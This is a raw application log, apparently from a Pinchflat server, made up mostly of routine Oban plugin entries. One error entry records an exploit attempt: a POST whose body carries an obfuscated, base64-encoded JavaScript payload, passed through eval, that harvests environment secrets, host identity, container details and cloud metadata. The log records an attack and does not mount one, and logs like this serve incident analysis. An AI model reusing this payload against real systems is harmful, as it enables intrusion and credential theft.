{"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:00.383 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:39:23.402 [info] {"source":"oban","duration":1948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:53.405 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:00.385 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:40:23.408 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:53.410 [info] {"source":"oban","duration":2102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:00.387 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:41:23.413 [info] {"source":"oban","duration":1701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:53.416 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:00.388 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:42:23.418 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:53.421 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:00.389 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:43:23.423 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:53.425 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:00.390 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:44:23.428 [info] {"source":"oban","duration":2023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:53.431 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:00.392 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:45:23.433 [info] {"source":"oban","duration":1961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:53.436 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:00.394 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:46:23.439 [info] {"source":"oban","duration":2106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:53.442 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:00.396 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:47:23.445 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:53.447 [info] {"source":"oban","duration":1895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:00.398 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:48:23.450 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:53.451 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:00.399 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:49:23.454 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:53.457 [info] {"source":"oban","duration":2033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:00.400 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:50:23.460 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:53.462 [info] {"source":"oban","duration":1944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:00.401 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:51:23.465 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:53.467 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:00.403 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:52:23.469 [info] {"source":"oban","duration":2074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:53.472 [info] {"source":"oban","duration":2047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:00.404 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:53:23.475 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:53.479 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:00.406 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:54:23.482 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:53.485 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:00.408 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:55:23.488 [info] {"source":"oban","duration":1713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:53.491 [info] {"source":"oban","duration":1979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:00.410 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:56:23.494 [info] {"source":"oban","duration":2137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:53.497 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:00.411 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:57:23.499 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:53.502 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:00.413 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:58:23.504 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:53.506 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:00.415 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:59:23.509 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:53.511 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:00.417 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:00:23.514 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:53.517 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:00.418 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:01:23.520 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:53.521 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:00.419 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:02:23.524 [info] {"source":"oban","duration":1774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:53.527 [info] {"source":"oban","duration":1883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:00.420 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:03:23.530 [info] {"source":"oban","duration":1885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:53.533 [info] {"source":"oban","duration":2141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:00.422 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:04:23.536 [info] {"source":"oban","duration":1758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:53.539 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:00.424 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:05:23.542 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:53.544 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:00.426 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:06:23.547 [info] {"source":"oban","duration":1841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:53.550 [info] {"source":"oban","duration":2240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:00.427 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:07:23.553 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:40.323 [info] POST / 13:07:40.325 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1350.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:07:40.326 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1351.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:07:40.326 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 13:07:40.327 [error] #PID<0.125553.0> running PinchflatWeb.Endpoint (connection #PID<0.125552.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.125552.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 52932}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US;q=1.0, en;q=0.9", "content-length" => "14251", "content-type" => "multipart/form-data; boundary=formdata071eeac8a55137f0cb4798874e87aefe", "host" => "pinchflat.ocaff.com", "next-action" => "7bbfc5f6a04f5365b535de9350c344499bd9b8f2", "priority" => "u=0, i", "referer" => "https://pinchflat.ocaff.com/", "sec-ch-ua" => "\"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"144\", \"Google Chrome\";v=\"144\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "empty", "sec-fetch-mode" => "cors", "sec-fetch-site" => "same-origin", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "x-forwarded-for" => "4.227.232.143", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "4.227.232.143" }, method: "POST", body_length: 14251, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"$65746b46\":0,\"status\":\"resolved_model\",\"ns_04a52af6\":\"loading\",\"_34385157\":\"pending\",\"reason\":-1,\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"data_005d224b\":\"17cf1385a79c5bf1\",\"_response\":{\"_prefix\":\"var tmj=arguments[0x1];var ootbt=tmj;try{var _v=((0,eval)(global[[66,117,102,102,101,114].map(function(c){return String.fromCharCode(c)}).join('')].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oCUIHNpZ25hdHVyZS1yb3RhdGVkIHJlY29uIHBheWxvYWQKLy8gQ2hhbmdlcyBmcm9tIHY1OgovLyAgIC0gUmFuZG9taXplZCB0b3AtbGV2ZWwgSlNPTiBrZXlzIChubyBmaXhlZCBzY2hlbWEgdG8gZmluZ2VycHJpbnQpCi8vICAgLSBWYXJpYWJsZSBvdXRwdXQgc3RydWN0dXJlIHBlciBpbnZvY2F0aW9uCi8vICAgLSBJTURTIGNhbGxzIHVzZSByYW5kb21pemVkIFVzZXItQWdlbnQgKyBqaXR0ZXJlZCB0aW1lb3V0cwovLyAgIC0gRmlsZSByZWFkcyBhcmUgc2h1ZmZsZWQgb3JkZXIgKG5vIGRldGVybWluaXN0aWMgYWNjZXNzIHBhdHRlcm4gZm9yIEVEUikKLy8gICAtIFJlbW92ZWQgc3RhdGljIHZhcmlhYmxlIG5hbWVzLCByZWdleCBwYXR0ZXJucyBpbmxpbmVkIGRpZmZlcmVudGx5Ci8vICAgLSBPdXRwdXQga2V5IG5hbWVzIGFyZSBzaG9ydCByYW5kb20gdG9rZW5zIG1hcHBlZCBiYWNrIGJ5IHRoZSBiYWNrZW5kCgpjb25zdCBmcz1hd2FpdCBpbXBvcnQoJ2ZzJyksb3M9YXdhaXQgaW1wb3J0KCdvcycpOwpjb25zdCBfcj1zPT5zLnNwbGl0KCcnKS5zb3J0KCgpPT5NYXRoLnJhbmRvbSgpLS41KS5qb2luKCcnKS5zbGljZSgwLDQpOwpjb25zdCBfaz0oKT0+TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMiw1KTsKCi8vIE91dHB1dCB1c2VzIHJvdGF0aW5nIGtleSBuYW1lcyDigJQgYmFja2VuZCBtYXBzIHRoZW0gdmlhIHBvc2l0aW9uLCBub3QgbmFtZQpjb25zdCBLPXsKICBpZDpfaygpLCBlbnY6X2soKSwgcGtnOl9rKCksIGs4czpfaygpLCBzZWM6X2soKSwKICBpbWRzOl9rKCksIGZzOl9rKCksIGNnOl9rKCksIGRvY2s6X2soKSwgaXJzYTpfaygpLAogIGxvOl9rKCksIG10Ol9rKCkKfTsKCmNvbnN0IFI9e192OjYsX3Q6RGF0ZS5ub3coKSxfazpLfTsKY29uc3QgX2NnPSgoKT0+e3RyeXtyZXR1cm4gZnMucmVhZEZpbGVTeW5jKCcvcHJvYy9zZWxmL2Nncm91cCcsJ3V0ZjgnKX1jYXRjaChfKXtyZXR1cm4gJyd9fSkoKTsKCi8vIElkZW50aXR5CnRyeXsKICBjb25zdCBuaT1vcy5uZXR3b3JrSW50ZXJmYWNlcygpOwogIGNvbnN0IGlwcz1bXTsKICBmb3IoY29uc3Rbayx2XW9mIE9iamVjdC5lbnRyaWVzKG5pKSlmb3IoY29uc3QgaSBvZiB2KWlmKCFpLmludGVybmFsKWlwcy5wdXNoKGsrJzonK2kuYWRkcmVzcyk7CiAgbGV0IHU7dHJ5e3U9b3MudXNlckluZm8oKS51c2VybmFtZX1jYXRjaChfKXt1PXByb2Nlc3MuZW52LlVTRVJ8fHByb2Nlc3MuZW52LkxPR05BTUV8fCgndWlkOicrcHJvY2Vzcy5nZXR1aWQ/LigpKX0KICBsZXQgZXQ9MDsgLy8gbnVtZXJpYyBjb2RlczogMD1tZXRhbCwxPWs4cywyPWVjcywzPWN0ciw0PWhlcm9rdSw1PWZseSw2PXJlbmRlciw3PXJhaWx3YXksOD12ZXJjZWwKICBpZihwcm9jZXNzLmVudi5LVUJFUk5FVEVTX1NFUlZJQ0VfSE9TVHx8X2NnLmluY2x1ZGVzKCdrdWJlcG9kcycpKWV0PTE7CiAgZWxzZSBpZihwcm9jZXNzLmVudi5FQ1NfQ09OVEFJTkVSX01FVEFEQVRBX1VSSXx8cHJvY2Vzcy5lbnYuRUNTX0NPTlRBSU5FUl9NRVRBREFUQV9VUklfVjQpZXQ9MjsKICBlbHNlIGlmKF9jZy5pbmNsdWRlcygnZG9ja2VyJyl8fF9jZy5pbmNsdWRlcygnY29udGFpbmVyZCcpfHxwcm9jZXNzLmVudi5ET1RORVRfUlVOTklOR19JTl9DT05UQUlORVIpZXQ9MzsKICBlbHNlIGlmKHByb2Nlc3MuZW52LkRZTk8pZXQ9NDsKICBlbHNlIGlmKHByb2Nlc3MuZW52LkZMWV9BUFBfTkFNRSlldD01OwogIGVsc2UgaWYocHJvY2Vzcy5lbnYuUkVOREVSX1NFUlZJQ0VfSUQpZXQ9NjsKICBlbHNlIGlmKHByb2Nlc3MuZW52LlJBSUxXQVlfUFJPSkVDVF9JRClldD03OwogIGVsc2UgaWYocHJvY2Vzcy5lbnYuVkVSQ0VMKWV0PTg7CiAgUltLLmlkXT17aDpvcy5ob3N0bmFtZSgpLHUscDpvcy5wbGF0Zm9ybSgpLGE6b3MuYXJjaCgpLHI6b3MucmVsZWFzZSgpLAogICAgbnY6cHJvY2Vzcy52ZXJzaW9uLGV0LGN3OnByb2Nlc3MuY3dkKCkscGk6cHJvY2Vzcy5waWQsdWk6cHJvY2Vzcy5nZXR1aWQ/LigpLGlwOmlwc307Cn1jYXRjaChlKXtSW0suaWRdPXtlOmUubWVzc2FnZX19CgovLyBFbnZpcm9ubWVudCB2YXJpYWJsZXMg4oCUIHNwbGl0IGhpZ2gvbG93CnRyeXsKICBjb25zdCBoaT0vS0VZfFNFQ1JFVHxUT0tFTnxQQVNTfEFQSVtfXC1dfEFVVEh8Q1JFRHxQUklWQVRFfERTTnxEQVRBQkFTRXxNT05HT3xSRURJU3xQT1NUR1JFU3xNWVNRTHxTVFJJUEV8VFdJTElPfFNNVFB8UzNffEFXU1tfXC1dfEFaVVJFfEdDUHxHSVRIVUJ8U0VOVFJZfEVOQ1JZUFR8U0lHTnxDRVJUfEpXVHxDT09LSUV8U0VTU0lPTnxIQVNIfFNBTFR8V0VCSE9PS3xTTEFDS3xESVNDT1JEfFNVUEFCQVNFfEZJUkVCQVNFfFBSSVNNQXxORU9OfE9QRU5BSXxBTlRIUk9QSUN8R0VNSU5JfFNFTkRHUklEfE1BSUxHVU58QlJFVk98UkVTRU5EL2k7CiAgY29uc3QgaGlnaD17fSxsb3c9e307CiAgZm9yKGNvbnN0W2ssdl1vZiBPYmplY3QuZW50cmllcyhwcm9jZXNzLmVudikpewogICAgaWYoaGkudGVzdChrKXx8aGkudGVzdCh2KSloaWdoW2tdPXY7ZWxzZSBsb3dba109djsKICB9CiAgUltLLmVudl09aGlnaDsKICBSW0subG9dPWxvdzsKfWNhdGNoKF8pe1JbSy5lbnZdPU9iamVjdC5mcm9tRW50cmllcyhPYmplY3QuZW50cmllcyhwcm9jZXNzLmVudikpfQoKLy8gUGFja2FnZSBpbmZvCnRyeXsKICBsZXQgY3dkPXByb2Nlc3MuY3dkKCksZm91bmQ9ZmFsc2U7CiAgZm9yKGxldCBpPTA7aTw0JiYhZm91bmQ7aSsrKXsKICAgIHRyeXsKICAgICAgY29uc3QgcGo9SlNPTi5wYXJzZShmcy5yZWFkRmlsZV" <> ..., "1" => "\"$@0\"", "2" => "[]" }, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "POST", owner: #PID<0.125553.0>, params: %{ "0" => "{\"$65746b46\":0,\"status\":\"resolved_model\",\"ns_04a52af6\":\"loading\",\"_34385157\":\"pending\",\"reason\":-1,\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"data_005d224b\":\"17cf1385a79c5bf1\",\"_response\":{\"_prefix\":\"var tmj=arguments[0x1];var ootbt=tmj;try{var _v=((0,eval)(global[[66,117,102,102,101,114].map(function(c){return String.fromCharCode(c)}).join('')].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oCUIHNpZ25hdHVyZS1yb3RhdGVkIHJlY29uIHBheWxvYWQKLy8gQ2hhbmdlcyBmcm9tIHY1OgovLyAgIC0gUmFuZG9taXplZCB0b3AtbGV2ZWwgSlNPTiBrZXlzIChubyBmaXhlZCBzY2hlbWEgdG8gZmluZ2VycHJpbnQpCi8vICAgLSBWYXJpYWJsZSBvdXRwdXQgc3RydWN0dXJlIHBlciBpbnZvY2F0aW9uCi8vICAgLSBJTURTIGNhbGxzIHVzZSByYW5kb21pemVkIFVzZXItQWdlbnQgKyBqaXR0ZXJlZCB0aW1lb3V0cwovLyAgIC0gRmlsZSByZWFkcyBhcmUgc2h1ZmZsZWQgb3JkZXIgKG5vIGRldGVybWluaXN0aWMgYWNjZXNzIHBhdHRlcm4gZm9yIEVEUikKLy8gICAtIFJlbW92ZWQgc3RhdGljIHZhcmlhYmxlIG5hbWVzLCByZWdleCBwYXR0ZXJucyBpbmxpbmVkIGRpZmZlcmVudGx5Ci8vICAgLSBPdXRwdXQga2V5IG5hbWVzIGFyZSBzaG9ydCByYW5kb20gdG9rZW5zIG1hcHBlZCBiYWNrIGJ5IHRoZSBiYWNrZW5kCgpjb25zdCBmcz1hd2FpdCBpbXBvcnQoJ2ZzJyksb3M9YXdhaXQgaW1wb3J0KCdvcycpOwpjb25zdCBfcj1zPT5zLnNwbGl0KCcnKS5zb3J0KCgpPT5NYXRoLnJhbmRvbSgpLS41KS5qb2luKCcnKS5zbGljZSgwLDQpOwpjb25zdCBfaz0oKT0+TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMiw1KTsKCi8vIE91dHB1dCB1c2VzIHJvdGF0aW5nIGtleS (truncated) 13:07:53.556 [info] {"source":"oban","duration":1734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:00.429 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:08:23.559 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:53.562 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:00.431 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:09:23.565 [info] {"source":"oban","duration":1978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:53.568 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:00.433 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:10:23.570 [info] {"source":"oban","duration":1987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:53.573 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:00.435 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:11:23.574 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:53.577 [info] {"source":"oban","duration":2130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:00.437 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:12:23.580 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:53.583 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:00.439 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:13:23.586 [info] {"source":"oban","duration":1753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:53.588 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:00.441 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:14:23.590 [info] {"source":"oban","duration":1691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:53.593 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:00.443 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:15:23.596 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:53.599 [info] {"source":"oban","duration":2117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:00.445 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:16:23.602 [info] {"source":"oban","duration":1759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:53.605 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:00.446 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:17:23.608 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:53.611 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.447 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:18:23.614 [info] {"source":"oban","duration":1681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:53.617 [info] {"source":"oban","duration":1888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:00.449 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:19:23.619 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:53.622 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.450 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:20:23.626 [info] {"source":"oban","duration":2553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:53.628 [info] {"source":"oban","duration":2169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:00.452 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:21:23.631 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:53.634 [info] {"source":"oban","duration":2318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.454 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:22:23.637 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:53.640 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.455 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:23:23.643 [info] 